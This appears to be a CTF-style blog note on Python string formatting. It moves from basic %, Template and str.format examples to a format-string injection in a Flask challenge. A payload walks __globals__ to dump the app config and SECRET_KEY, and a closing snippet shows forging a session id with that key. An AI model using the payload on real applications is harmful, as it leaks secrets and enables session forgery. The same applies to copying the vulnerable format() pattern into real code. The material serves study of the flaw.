python格式化字符串

name = 'Xi4or0uji'
print 'My name is %s' %name
My name is Xi4or0uji

from string import Template
name = 'Xi4or0uji'
s = Template('My name is $name')
print s.substitute(name=name)
My name is Xi4or0uji

print 'My name is {}'.format('Xi4or0uji')
My name is Xi4or0uji

print 'this is a {0}, that is a {1}'.format('cat','dog')
this is a cat, that is a dog
print 'this is a {1}, that is a {0}'.format('cat','dog')
this is a dog, that is a cat

print 'hello {adj} {name}'.format(adj='little',name='h4ck3r')
hello little h4ck3r

print '{:.2%} off'.format(0.20)
20.00% off

print '{arr[2]}'.format(arr=[0,1,2,3,4,5])
2

config = {'SECRET_KEY':'lolololol'}
class User(object):
    def __init__(self,name):
        self.name = name
user = User('Xi4or0uji')
print 'hello {name}'.format(name=user.__class__.__init__.__globals__)

@bp_auth.route('/flag')
@login_check
def get_flag():
if(g.user.username=="admin"):
with open(os.path.dirname(__file__)+'/flag','rb') as f:
flag = f.read()
return flag
return "Not admin!!"

@bp_secert.route('/views',methods = ['GET','POST'])
@login_check
def views_info():
view_id = request.args.get('id')
if not view_id:
view_id = session.get('user_id')

user_m = user.query.filter_by(id=view_id).first()

if user_m is None:
flash(u"该用户未注册")
return render_template('secert/views.html')

if str(session.get('user_id'))==str(view_id):
secert_m = secert.query.filter_by(id=view_id).first()
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
else:
secert_t = u"<p>***************************************<p>"

name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"

info = (name+email+secert_t).format(user_m=user_m)
return render_template('secert/views.html',info = info)

{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

from flask import Flask,session

app = Flask(__name__)
app.config['SECRET_KEY'] = 'ichunqiuQAQ013'

def set_id():
    session['id'] = 5
    return "ok"

if __name__ == '__main__':
    app.debug = True
    app.run()